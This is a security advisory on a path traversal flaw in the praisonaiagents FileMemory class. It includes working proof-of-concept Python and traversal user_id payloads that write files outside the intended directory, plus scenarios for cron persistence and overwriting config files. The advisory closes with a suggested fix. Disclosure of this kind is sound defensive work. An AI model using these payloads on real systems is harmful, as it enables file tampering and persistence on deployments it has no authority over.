PYSEC-2026-3902

Summary

praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all memory file paths by directly joining the user_id parameter to a base path:

self.user_path = self.base_path / user_id      # LINE 145 — no sanitization

No validation or normalization is applied to user_id before the path join. An attacker who can supply a user_id containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:

def __init__(
    self,
    user_id: str = "default",
    base_path: Optional[str] = None,
    ...
):
    ...
    self.user_path = self.base_path / user_id          # LINE 145 — NO SANITIZATION
    self.episodic_path = self.user_path / "episodic"

    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path
    self.episodic_path.mkdir(parents=True, exist_ok=True)

    self.config_file      = self.user_path / "config.json"
    self.short_term_file  = self.user_path / "short_term.json"
    self.long_term_file   = self.user_path / "long_term.json"
    self.entities_file    = self.user_path / "entities.json"
    self.summaries_file   = self.user_path / "summaries.json"

All five JSON files are written under user_path, which is directly derived from the attacker-controlled user_id. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its table_name with a regex:

if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
    raise ValueError(...)

No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller):

from praisonaiagents.memory.file_memory import FileMemory

mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json  (on Linux)
# Creates C:\evil\short_term.json    (on Windows)

B — Via Agent constructor (memory dict):

from praisonaiagents import Agent

agent = Agent(
    name="assistant",
    memory={"provider": "file", "user_id": "../../etc/evil"},
    instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init

C — Via agents.yaml / job submission (agent_yaml field):

# Submitted via POST /jobs with agent_yaml:
agents:
  researcher:
    memory:
      provider: file
      user_id: "../../tmp/evil"
    role: "Research assistant"
    goal: "Research topics"

agents_generator.py passes the memory.user_id value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

from pathlib import Path
import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id

try:
    user_path.resolve().relative_to(base.resolve())
    print("SAFE")
except ValueError:
    print("!!PATH ESCAPES BASE!!")
    print("Writes to:", user_path.resolve())

Output:

!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape

Step 2 — Live exploit (files written outside base):

import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)

TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()

mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)

# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
    f = TARGET / fname
    if f.exists():
        print(f"WRITTEN: {f}")
        print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")

Observed output (run on current main):

WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json

Impact

What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.

Who is impacted:

• Any application that creates FileMemory instances with user-controlled user_id
• Any PraisonAI deployment where users can supply the user_id parameter directly or indirectly (via Agent(memory={"user_id": ...}), agents.yaml, or jobs API)

High-impact scenarios:

1. Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.

2. Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.

3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.

4. Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.

5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.

Distinction from GHSA-766v-q9x3-g744:

| | GHSA-766v-q9x3-g744 | This finding | |---|---|---| | File | examples/context/12_multi_agent_context.py (example) | praisonaiagents/memory/file_memory.py (core library) | | Class | MultiAgentMonitor | FileMemory | | Fixed in | praisonaiagents >= 1.5.115 | Not patched (affects 1.6.52) |

---

## Remediation Suggestion (for maintainers)

Validate and resolve `user_id` before using it in path construction:

```python
def __init__(self, user_id: str = "default", base_path=None, ...):
    ...
    # ADDED: sanitize user_id
    import re
    if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
        raise ValueError(
            f"user_id '{user_id}' contains invalid characters. "
            f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
        )

    self.user_path = self.base_path / user_id

    # ADDED: verify the resolved path is within base (defense-in-depth)
    resolved = self.user_path.resolve()
    base_resolved = self.base_path.resolve()
    try:
        resolved.relative_to(base_resolved)
    except ValueError:
        raise ValueError(
            f"user_id '{user_id}' would write outside the base memory directory."
        )

The same pattern should be applied to base_path parameter.